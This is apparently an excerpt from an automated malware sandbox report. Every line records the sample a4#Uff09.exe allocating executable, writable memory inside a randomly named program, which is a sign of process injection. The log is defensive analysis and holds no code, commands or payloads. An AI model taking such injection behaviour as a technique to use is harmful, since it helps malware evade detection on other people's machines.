Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 940000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: E50000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: E60000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: D40000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2930000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 780000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 790000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: BC0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: BD0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: E10000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2700000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2C20000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2C30000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2A40000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2DA0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1290000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 12A0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 5C0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 5D0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2540000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2590000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 28C0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2910000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: EE0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: F30000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2C10000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2C20000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2430000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2480000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 5B0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 800000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2820000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2970000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2BB0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2BC0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1340000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1350000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2DB0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2E00000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1280000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1290000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2CF0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2E40000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 5F0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2370000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2170000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2180000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2BB0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2C00000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2450000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 24A0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2D70000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2DC0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1310000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1320000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 980000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 990000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1100000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1110000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2A60000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 5B0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 8D0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 920000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 970000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 670000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 6C0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 10E0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 10F0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: B10000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: B60000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1240000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1250000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1440000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1450000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2E70000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2E80000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 25C0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2610000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 29F0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2A40000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2F90000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 30E0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2840000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2850000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2650000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 26A0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2890000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 28A0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 500000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 510000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: DD0000 protect: page execute and read and write Jump to behavior
